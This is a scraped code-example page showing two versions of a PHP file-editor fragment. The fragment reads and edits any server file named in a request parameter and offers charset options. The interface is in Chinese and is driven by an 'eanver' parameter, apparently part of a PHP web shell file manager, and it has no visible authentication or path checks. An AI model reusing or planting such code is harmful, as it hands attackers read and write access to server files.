$jspath = urlencode($p . '/' . $name);
     $pp = urlencode($p);
     $p = str_path($p . '/' . $name);
     $FILE_CODE = "";
     $charset = 'GB2312';
     $FILE_TIME = date('Y-m-d H:i:s', time() + 3600 * 8);
     if (@file_exists($p)) {
         echo '发现目录下有"同名"文件<br>';
     }
 } else {
     $jspath = urlencode($p);
     $FILE_TIME = date('Y-m-d H:i:s', filemtime($p));
     $FILE_CODE = @file_get_contents($p);
     if (substr(PHP_VERSION, 0, 1) >= 5) {
         if (empty($_GET['charset'])) {
             if (TestUtf8($FILE_CODE) > 1) {
                 $charset = 'UTF-8';
                 $FILE_CODE = iconv("UTF-8", "gb2312//IGNORE", $FILE_CODE);
             } else {
                 $charset = 'GB2312';
             }
         } else {
             if ($_GET['charset'] == 'GB2312') {
                 $charset = 'GB2312';
             } else {
                 $charset = $_GET['charset'];
                 $FILE_CODE = iconv($_GET['charset'], "gb2312//IGNORE", $FILE_CODE);
             }
         }
     }
     $FILE_CODE = htmlspecialchars($FILE_CODE);
Esempio n. 2
0
	if(!empty($_GET['refile'])){
        $name=$_GET['name'];
		$jspath=urlencode($p.'/'.$name);
		$pp = urlencode($p);
		$p = str_path($p.'/'.$name);
		$FILE_CODE = "";
		$charset= 'GB2312';
        $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8);
		if(@file_exists($p)) echo '发现目录下有"同名"文件<br>';
	}else{
		$jspath=urlencode($p);
		$FILE_TIME = date('Y-m-d H:i:s',filemtime($p));
        $FILE_CODE=@file_get_contents($p);
	     if (substr(PHP_VERSION,0,1)>=5){
            if(empty($_GET['charset'])){
			   if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';}
			  }else{
			   if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);}
			  }
		  }
        $FILE_CODE = htmlspecialchars($FILE_CODE);
	}
print<<<END
<div class="actall">查找内容: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="查找" onclick="search(searchs.value)"></div>
<form method='POST' id="editor"  action='?eanver=main&path={$pp}'>
<div class="actall">
<input type="text" name="newfile"  id="newfile" value="{$p}" style="width:750px;">指定编码:<input name="charset" id="charset" value="{$charset}" Type="text" style="width:80px;" onkeydown="if(event.keyCode==13)window.location='?eanver=editr&p={$jspath}&charset='+this.value;">
<input type="button" value="选择" onclick="window.location='?eanver=editr&p={$jspath}&charset='+this.form.charset.value;" style="width:50px;"> 
END;
html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\"");